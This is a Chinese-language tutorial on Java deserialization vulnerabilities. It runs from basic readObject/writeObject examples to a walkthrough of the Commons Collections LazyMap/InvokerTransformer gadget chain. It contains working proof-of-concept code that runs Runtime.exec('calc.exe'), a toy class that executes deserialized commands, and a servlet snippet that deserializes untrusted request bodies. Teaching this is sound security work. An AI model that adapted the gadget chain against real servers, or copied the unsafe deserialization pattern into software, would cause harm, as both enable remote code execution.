初探Java反序列化
1.缘起
在Java中,序列化是将对象转换成数据字节流,反序列化是将数据字节流转换成对象。由于Java的开发生态里各种第三方库组件相互依赖,当Java开发中常用的基础底层组件出现安全问题时,就会导致大量基于这些底层库构建的上游应用受到威胁。反序列化漏洞是在各种Java基础底层库里常见的漏洞之一。面试也是不可绕过的话题。
2.反序列化基础
如果要对一个对象进行序列化或者反序列化,这个对象必须要实现java.io.serializable
接口。
写一个Person
类:
public class Person implements Serializable {
private String name;
public Person(String name){
this.name = name;
}
//反序列化时会调用此方法
private void readObject(ObjectInputStream ois) throws IOException {
System.out.println("readObject method");
//从数据流里解码一个字符串,设置为name属性
name = ois.readUTF();
}
//序列化时调用此方法
private void writeObject(ObjectOutputStream oos) throws IOException {
System.out.println("writeObject method");
//将name值写进数据流
oos.writeUTF(name);
}
}
在主函数中,创建一个Person对象,对他进行序列化,再对生成的序列化字符串进行反序列化。
public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person("zhangsan");
ByteArrayOutputStream baos=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(person);//对person进行序列化
byte[] bytes = baos.toByteArray();//得到序列化后的字节数组
ByteArrayInputStream bais =new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Person p = (Person)ois.readObject(); //对bytes数组进行反序列化,得到Person对象
System.out.println(p.toString());
}
output:
writeObject method
readObject method
Person@568db2f2
可以看到,在执行ObjectOutputStream
类的writeObject
方法时,Person的writeObject
方法也得到了执行。readObject
同理。
3.反序列化漏洞原理
当Java应用程序对来自外部输入的不可信数据进行反序列化操作时,就形成了反序列化漏洞。
//获取Http请求数据包body部分的字节流
InputStream input = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(input);
//对不可信数据进行反序列化,造成了反序列化漏洞
Object obj = ois.readObject();
这时,假设应用程序中还有一个类:
public class Dummy implements Serializable {
private String cmd;
public Dummy(String cmd){
this.cmd = cmd;
}
private void readObject(ObjectInputStream ois) throws IOException {
cmd = ois.readUTF();
Runtime.getRuntime().exec(cmd);
}
private void writeObject(ObjectOutputStream oos) throws IOException {
oos.writeUTF(cmd);
}
}
可以用以下程序得到序列化字节数组:
Dummy dummy = new Dummy("calc");//弹出计算机命令
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(dummy);
byte[] bytes = baos.toByteArray();//恶意字节流
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
Dummy dummy1 = (Dummy)ois.readObject();
我们可以访问接口将恶意字节流作为参数传给应用程序进行处理,当应用程序对字节流进行反序列化时会触发Dummy
类的readObject
方法,当进行反序列化时计算机程序被执行了。
4.反序列化漏洞利用
反序列化攻击成功需要具备两个条件:
- 程序本身对用户可控的不可信数据进行了反序列化处理。
- 程序中存在Dummy这样做了危险操作的序列化接口实现类。
在现实的系统中,很少会给出Dummy
这样简单明了的危险Serializable
接口,往往需要组合多个不同Serializable
接口实现类的方法调用,形成调用链。
以commons-collections反序列化漏洞为例子,新建一个java项目,在项目中导入commons-collections3.1.2的jar包。执行以下代码,可以弹出计算机:
public static void main(String[] args) throws IOException, ClassNotFoundException {
Map normalMap = new HashMap();
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map transformedMap = LazyMap.decorate(normalMap,transformerChain);
//漏洞触发
transformedMap.get("random_key");
}
Commons Collections库里提供了如List、Collection、Map等基础数据结构类的扩展实现类。其中的LazyMap类是Map的实现类,也是Serializable的实现类。Commons Collections库里还提供了很多Transforme类,这些类可以对数据结构类进行修饰。LazyMap类中有一段代码:
public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory;
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
public Object get(Object key) {
if (!this.map.containsKey(key)) {
//factory的类型是Transformer
Object value = this.factory.transform(key);
this.map.put(key, value);
return value;
} else {
return this.map.get(key);
}
}
}
实例化LazyMap的时候会将Transformer类设置成LazyMap的一个属性,这就是修饰的过程。当LazyMap的get方法被调用时,就会触发对应Transformer类的transform方法。
在Commons Collections库里也有很多Transformer类,在上面的poc中用到了三种,ConstantTransformer、InvokerTransformer、ChainedTransformer。这些类都实现了Serializable接口,重点关注这些类的transform方法,首先是ConstantTransformer:
public class ConstantTransformer implements Transformer, Serializable {
private final Object iConstant;
//接收任意一个对象,设置为iConstant成员变量
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
//无论input是什么都返回iConstant对象
public Object transform(Object input) {
return this.iConstant;
}
}
关键在于InvokerTransformer类,该类的transform方法可以通过反射来调用特定的方法:
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
//设置参数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
//通过反射机制调用用户定义方法
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6);
}
}
}
}
ChainedTransformer接收一个Transformer数组作为参数,该类的transform方法会按顺序调用Transformer数组里所有Transformer类的transform方法,并且上一个transform执行的结果会作为下一个transform的输入:
public class ChainedTransformer implements Transformer, Serializable {
private final Transformer[] iTransformers;
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
//链式调用transform方法
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
}
所以在poc中transformer最后执行的代码等同于:
Runtime.class.getMethod("getRuntime",null).invoke(null,null).exec("calc.exe");
5.总结
本文简单介绍了Java的反序列化,并以Commons Collections库为例对反序列化漏洞进行了简单的分析。